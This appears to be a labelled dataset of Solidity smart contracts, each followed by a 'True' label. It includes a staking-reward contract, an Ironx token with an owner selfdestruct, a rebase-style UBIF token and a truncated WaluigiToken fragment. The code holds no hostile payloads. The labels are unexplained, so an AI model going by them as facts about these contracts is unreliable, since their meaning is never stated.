* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot overflow.
*
* _Available since v2.4.0._
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*
* _Available since v2.4.0._
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*
* _Available since v2.4.0._
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
// File: @openzeppelin/contracts/GSN/Context.sol
pragma solidity ^0.5.0;
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with GSN meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
contract Context {
// Empty internal constructor, to prevent people from mistakenly deploying
// an instance of this contract, which should be used via inheritance.
constructor () internal { }
// solhint-disable-previous-line no-empty-blocks
function _msgSender() internal view returns (address payable) {
return msg.sender;
}
function _msgData() internal view returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
// File: @openzeppelin/contracts/ownership/Ownable.sol
pragma solidity ^0.5.0;
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor () internal {
_owner = _msgSender();
emit OwnershipTransferred(address(0), _owner);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(isOwner(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Returns true if the caller is the current owner.
*/
function isOwner() public view returns (bool) {
return _msgSender() == _owner;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public onlyOwner {
_transferOwnership(newOwner);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
*/
function _transferOwnership(address newOwner) internal {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
// File: @openzeppelin/contracts/token/ERC20/IERC20.sol
pragma solidity ^0.5.0;
/**
* @dev Interface of the ERC20 standard as defined in the EIP. Does not include
* the optional functions; to access them see {ERC20Detailed}.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// File: @openzeppelin/contracts/utils/Address.sol
pragma solidity ^0.5.5;
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* This test is non-exhaustive, and there may be false-negatives: during the
* execution of a contract's constructor, its address will be reported as
* not containing a contract.
*
* IMPORTANT: It is unsafe to assume that an address for which this
* function returns false is an externally-owned account (EOA) and not a
* contract.
*/
function isContract(address account) internal view returns (bool) {
// This method relies in extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
/**
* @dev Converts an `address` into `address payable`. Note that this is
* simply a type cast: the actual underlying value is not changed.
*
* _Available since v2.4.0._
*/
function toPayable(address account) internal pure returns (address payable) {
return address(uint160(account));
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*
* _Available since v2.4.0._
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-call-value
(bool success, ) = recipient.call.value(amount)("");
require(success, "Address: unable to send value, recipient may have reverted");
}
}
// File: @openzeppelin/contracts/token/ERC20/SafeERC20.sol
pragma solidity ^0.5.0;
/**
* @title SafeERC20
* @dev Wrappers around ERC20 operations that throw on failure (when the token
* contract returns false). Tokens that return no value (and instead revert or
* throw on failure) are also supported, non-reverting calls are assumed to be
* successful.
* To use this library you can add a `using SafeERC20 for ERC20;` statement to your contract,
* which allows you to call the safe operations as `token.safeTransfer(...)`, etc.
*/
library SafeERC20 {
using SafeMath for uint256;
using Address for address;
function safeTransfer(IERC20 token, address to, uint256 value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint256 value) internal {
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
// solhint-disable-next-line max-line-length
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).add(value);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero");
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
/**
* @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement
* on the return value: the return value is optional (but if data is returned, it must not be false).
* @param token The token targeted by the call.
* @param data The call data (encoded using abi.encode or one of its variants).
*/
function callOptionalReturn(IERC20 token, bytes memory data) private {
// We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since
// we're implementing it ourselves.
// A Solidity high level call has three parts:
// 1. The target address is checked to verify it contains contract code
// 2. The call itself is made, and success asserted
// 3. The return value is decoded, which in turn checks the size of the returned data.
// solhint-disable-next-line max-line-length
require(address(token).isContract(), "SafeERC20: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
// File: contracts/IRewardDistributionRecipient.sol
pragma solidity ^0.5.0;
contract IRewardDistributionRecipient is Ownable {
address public rewardDistribution;
function notifyRewardAmount(uint256 reward) external;
modifier onlyRewardDistribution() {
require(_msgSender() == rewardDistribution, "Caller is not reward distribution");
_;
}
function setRewardDistribution(address _rewardDistribution)
external
onlyOwner
{
rewardDistribution = _rewardDistribution;
}
}
// File: contracts/CurveRewards.sol
pragma solidity ^0.5.0;
contract LPTokenWrapper {
using SafeMath for uint256;
using SafeERC20 for IERC20;
IERC20 public uni;
constructor (address _uni) public {
uni = IERC20(_uni);
}
uint256 private _totalSupply;
mapping(address => uint256) private _balances;
function totalSupply() public view returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view returns (uint256) {
return _balances[account];
}
function stake(uint256 amount) public {
_totalSupply = _totalSupply.add(amount);
_balances[msg.sender] = _balances[msg.sender].add(amount);
uni.safeTransferFrom(msg.sender, address(this), amount);
}
function withdraw(uint256 amount) public {
_totalSupply = _totalSupply.sub(amount);
_balances[msg.sender] = _balances[msg.sender].sub(amount);
uni.safeTransfer(msg.sender, amount);
}
}
interface IERC20Burnable {
function burn(uint256 amount) external;
}
interface IERC20Mintable {
function mint(address to, uint256 amount) external;
}
contract PoolEscrow {
using SafeERC20 for IERC20;
using SafeMath for uint256;
modifier onlyGov() {
require(msg.sender == governance, "only governance");
_;
}
address public shareToken;
address public pool;
address public ausc;
address public secondary;
address public development;
address public governancePool;
address public dao;
address public governance;
uint256 public lastMint;
constructor(address _shareToken,
address _pool,
address _ausc,
address _secondary,
address _development,
address _governancePool,
address _dao) public {
shareToken = _shareToken;
pool = _pool;
ausc = _ausc;
secondary = _secondary;
development = _development;
governancePool = _governancePool;
dao = _dao;
governance = msg.sender;
lastMint = 0;
}
function setSecondary(address account) external onlyGov {
secondary = account;
}
function setDevelopment(address account) external onlyGov {
development = account;
}
function setGovernancePool(address account) external onlyGov {
governancePool = account;
}
function setDao(address account) external onlyGov {
dao = account;
}
function setGovernance(address account) external onlyGov {
governance = account;
}
function startSecondaryDistribution() external onlyGov {
lastMint = 1;
}
function release(address recipient, uint256 shareAmount) external {
require(msg.sender == pool, "only pool can release tokens");
IERC20(shareToken).safeTransferFrom(msg.sender, address(this), shareAmount);
uint256 endowment = getTokenNumber(shareAmount).mul(5).div(100);
uint256 reward = getTokenNumber(shareAmount);
if (secondary != address(0)) {
IERC20(ausc).safeApprove(secondary, 0);
IERC20(ausc).safeApprove(secondary, endowment);
PoolEscrow(secondary).notifySecondaryTokens(endowment);
reward = reward.sub(endowment);
}
if (development != address(0)) {
IERC20(ausc).safeTransfer(development, endowment);
reward = reward.sub(endowment);
}
if (governancePool != address(0)) {
IERC20(ausc).safeTransfer(governancePool, endowment);
reward = reward.sub(endowment);
}
if (dao != address(0)) {
IERC20(ausc).safeTransfer(dao, endowment);
reward = reward.sub(endowment);
}
IERC20(ausc).safeTransfer(recipient, reward);
IERC20Burnable(shareToken).burn(shareAmount);
}
function getTokenNumber(uint256 shareAmount) public view returns(uint256) {
return IERC20(ausc).balanceOf(address(this))
.mul(shareAmount)
.div(IERC20(shareToken).totalSupply());
}
/**
* Functionality for secondary pool escrow. Transfers AUSC tokens from msg.sender to this
* escrow. At most per day, mints a fixed number of escrow tokens to the pool, and notifies
* the pool. The period 1 day should match the secondary pool.
*/
function notifySecondaryTokens(uint256 number) external {
IERC20(ausc).safeTransferFrom(msg.sender, address(this), number);
if (lastMint.add(1 days) < block.timestamp && lastMint != 0) {
uint256 dailyMint = 1000 * 1e18;
IERC20Mintable(shareToken).mint(pool, dailyMint);
AuricRewards(pool).notifyRewardAmount(dailyMint);
lastMint = block.timestamp;
}
}
}
contract AuricRewards is LPTokenWrapper, IRewardDistributionRecipient {
IERC20 public snx;
uint256 public constant DURATION = 7 days;
address public escrow;
uint256 public periodFinish = 0;
uint256 public rewardRate = 0;
uint256 public lastUpdateTime;
uint256 public rewardPerTokenStored;
mapping(address => uint256) public userRewardPerTokenPaid;
mapping(address => uint256) public rewards;
event RewardAdded(uint256 reward);
event Staked(address indexed user, uint256 amount);
event Withdrawn(address indexed user, uint256 amount);
event RewardPaid(address indexed user, uint256 reward);
modifier updateReward(address account) {
rewardPerTokenStored = rewardPerToken();
lastUpdateTime = lastTimeRewardApplicable();
if (account != address(0)) {
rewards[account] = earned(account);
userRewardPerTokenPaid[account] = rewardPerTokenStored;
}
_;
}
constructor (address _token, address _lp) LPTokenWrapper(_lp) public {
snx = IERC20(_token);
}
function lastTimeRewardApplicable() public view returns (uint256) {
return Math.min(block.timestamp, periodFinish);
}
function rewardPerToken() public view returns (uint256) {
if (totalSupply() == 0) {
return rewardPerTokenStored;
}
return
rewardPerTokenStored.add(
lastTimeRewardApplicable()
.sub(lastUpdateTime)
.mul(rewardRate)
.mul(1e18)
.div(totalSupply())
);
}
function earned(address account) public view returns (uint256) {
return
balanceOf(account)
.mul(rewardPerToken().sub(userRewardPerTokenPaid[account]))
.div(1e18)
.add(rewards[account]);
}
// returns the earned amount as it will be paid out by the escrow (accounting for rebases)
function earnedAusc(address account) public view returns (uint256) {
return PoolEscrow(escrow).getTokenNumber(
balanceOf(account)
.mul(rewardPerToken().sub(userRewardPerTokenPaid[account]))
.div(1e18)
.add(rewards[account])
);
}
// stake visibility is public as overriding LPTokenWrapper's stake() function
function stake(uint256 amount) public updateReward(msg.sender) {
require(amount > 0, "Cannot stake 0");
super.stake(amount);
emit Staked(msg.sender, amount);
}
function withdraw(uint256 amount) public updateReward(msg.sender) {
require(amount > 0, "Cannot withdraw 0");
super.withdraw(amount);
emit Withdrawn(msg.sender, amount);
}
function exit() external {
withdraw(balanceOf(msg.sender));
getReward();
}
function getReward() public updateReward(msg.sender) {
uint256 reward = earned(msg.sender);
if (reward > 0) {
rewards[msg.sender] = 0;
// the pool is distributing placeholder tokens with fixed supply
snx.safeApprove(escrow, 0);
snx.safeApprove(escrow, reward);
PoolEscrow(escrow).release(msg.sender, reward);
emit RewardPaid(msg.sender, reward);
}
}
function notifyRewardAmount(uint256 reward)
external
onlyRewardDistribution
updateReward(address(0))
{
// overflow fix https://sips.synthetix.io/sips/sip-77
require(reward < uint256(-1) / 1e18, "amount too high");
if (block.timestamp >= periodFinish) {
rewardRate = reward.div(DURATION);
} else {
uint256 remaining = periodFinish.sub(block.timestamp);
uint256 leftover = remaining.mul(rewardRate);
rewardRate = reward.add(leftover).div(DURATION);
}
lastUpdateTime = block.timestamp;
periodFinish = block.timestamp.add(DURATION);
emit RewardAdded(reward);
}
function setEscrow(address newEscrow) external onlyOwner {
require(escrow == address(0), "escrow already set");
escrow = newEscrow;
}
}
|
True
|
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] |
pragma solidity ^0.4.24;
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
// Gas optimization: this is cheaper than asserting 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
// uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return a / b;
}
/**
* @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
contract Ownable {
address public owner;
event OwnershipRenounced(address indexed previousOwner);
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
constructor() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to relinquish control of the contract.
* @notice Renouncing to ownership will leave the contract without an owner.
* It will not be possible to call the functions with the `onlyOwner`
* modifier anymore.
*/
function renounceOwnership() public onlyOwner {
emit OwnershipRenounced(owner);
owner = address(0);
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param _newOwner The address to transfer ownership to.
*/
function transferOwnership(address _newOwner) public onlyOwner {
_transferOwnership(_newOwner);
}
/**
* @dev Transfers control of the contract to a newOwner.
* @param _newOwner The address to transfer ownership to.
*/
function _transferOwnership(address _newOwner) internal {
require(_newOwner != address(0));
emit OwnershipTransferred(owner, _newOwner);
owner = _newOwner;
}
}
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender)
public view returns (uint256);
function transferFrom(address from, address to, uint256 value)
public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
uint256 totalSupply_;
/**
* @dev Total number of tokens in existence
*/
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
/**
* @dev Transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address _owner) public view returns (uint256) {
return balances[_owner];
}
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amount of tokens to be transferred
*/
function transferFrom(
address _from,
address _to,
uint256 _value
)
public
returns (bool)
{
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(
address _owner,
address _spender
)
public
view
returns (uint256)
{
return allowed[_owner][_spender];
}
/**
* @dev Increase the amount of tokens that an owner allowed to a spender.
* approve should be called when allowed[_spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _addedValue The amount of tokens to increase the allowance by.
*/
function increaseApproval(
address _spender,
uint256 _addedValue
)
public
returns (bool)
{
allowed[msg.sender][_spender] = (
allowed[msg.sender][_spender].add(_addedValue));
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
/**
* @dev Decrease the amount of tokens that an owner allowed to a spender.
* approve should be called when allowed[_spender] == 0. To decrement
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _subtractedValue The amount of tokens to decrease the allowance by.
*/
function decreaseApproval(
address _spender,
uint256 _subtractedValue
)
public
returns (bool)
{
uint256 oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract TokenDestructible is Ownable {
constructor() public payable { }
/**
* @notice Terminate contract and refund to owner
* @notice The called token contracts could try to re-enter this contract. Only
supply token contracts you trust.
*/
function destroy() onlyOwner public {
selfdestruct(owner);
}
}
contract SimpleToken is StandardToken, TokenDestructible {
string public constant name = "Ironx"; // solium-disable-line uppercase
string public constant symbol = "RNX"; // solium-disable-line uppercase
uint8 public constant decimals = 18; // solium-disable-line uppercase
uint256 public constant INITIAL_SUPPLY = 10000 * (10 ** uint256(decimals));
/**
* @dev Constructor that gives msg.sender all of existing tokens.
*/
constructor() public {
totalSupply_ = INITIAL_SUPPLY;
balances[msg.sender] = INITIAL_SUPPLY;
emit Transfer(address(0), msg.sender, INITIAL_SUPPLY);
}
}
|
True
|
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pragma solidity 0.6.0;
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
contract Ownable {
address public _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () public {
_owner = msg.sender;
emit OwnershipTransferred(address(0), msg.sender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == msg.sender, "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
contract Universal_Basic_Income_Finance is Ownable {
using SafeMath for uint256;
event LogRebase(uint256 indexed epoch, uint256 totalSupply);
modifier validRecipient(address to) {
require(to != address(this));
_;
}
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
string public constant name = "Universal Basic Income Finance";
string public constant symbol = "UBIF";
uint256 public constant decimals = 18;
uint256 private constant DECIMALS = 18;
uint256 private constant MAX_UINT256 = ~uint256(0);
uint256 private constant INITIAL_FRAGMENTS_SUPPLY = 1500000000 * 10**DECIMALS;
uint256 private constant TOTAL_GONS = MAX_UINT256 - (MAX_UINT256 % INITIAL_FRAGMENTS_SUPPLY);
uint256 private constant MAX_SUPPLY = ~uint128(0);
uint256 private _totalSupply;
uint256 private _gonsPerFragment;
mapping(address => uint256) private _gonBalances;
mapping (address => mapping (address => uint256)) private _allowedFragments;
constructor() public override {
_owner = msg.sender;
_totalSupply = INITIAL_FRAGMENTS_SUPPLY;
_gonBalances[_owner] = TOTAL_GONS;
_gonsPerFragment = TOTAL_GONS.div(_totalSupply);
emit Transfer(address(0x0), _owner, _totalSupply);
}
function totalSupply()
public
view
returns (uint256)
{
return _totalSupply;
}
function balanceOf(address who)
public
view
returns (uint256)
{
return _gonBalances[who].div(_gonsPerFragment);
}
function transfer(address to, uint256 value)
public
validRecipient(to)
returns (bool)
{
uint256 gonValue = value.mul(_gonsPerFragment);
_gonBalances[msg.sender] = _gonBalances[msg.sender].sub(gonValue);
_gonBalances[to] = _gonBalances[to].add(gonValue);
emit Transfer(msg.sender, to, value);
return true;
}
function allowance(address owner_, address spender)
public
view
returns (uint256)
{
return _allowedFragments[owner_][spender];
}
function transferFrom(address from, address to, uint256 value)
public
validRecipient(to)
returns (bool)
{
_allowedFragments[from][msg.sender] = _allowedFragments[from][msg.sender].sub(value);
uint256 gonValue = value.mul(_gonsPerFragment);
_gonBalances[from] = _gonBalances[from].sub(gonValue);
_gonBalances[to] = _gonBalances[to].add(gonValue);
emit Transfer(from, to, value);
return true;
}
function approve(address spender, uint256 value)
public
returns (bool)
{
_allowedFragments[msg.sender][spender] = value;
emit Approval(msg.sender, spender, value);
return true;
}
function increaseAllowance(address spender, uint256 addedValue)
public
returns (bool)
{
_allowedFragments[msg.sender][spender] =
_allowedFragments[msg.sender][spender].add(addedValue);
emit Approval(msg.sender, spender, _allowedFragments[msg.sender][spender]);
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue)
public
returns (bool)
{
uint256 oldValue = _allowedFragments[msg.sender][spender];
if (subtractedValue >= oldValue) {
_allowedFragments[msg.sender][spender] = 0;
} else {
_allowedFragments[msg.sender][spender] = oldValue.sub(subtractedValue);
}
emit Approval(msg.sender, spender, _allowedFragments[msg.sender][spender]);
return true;
}
}
|
True
|
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/**
* TELEGRAM: WaluigiToken
* Mario team and marketing team ,
/*
*/
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
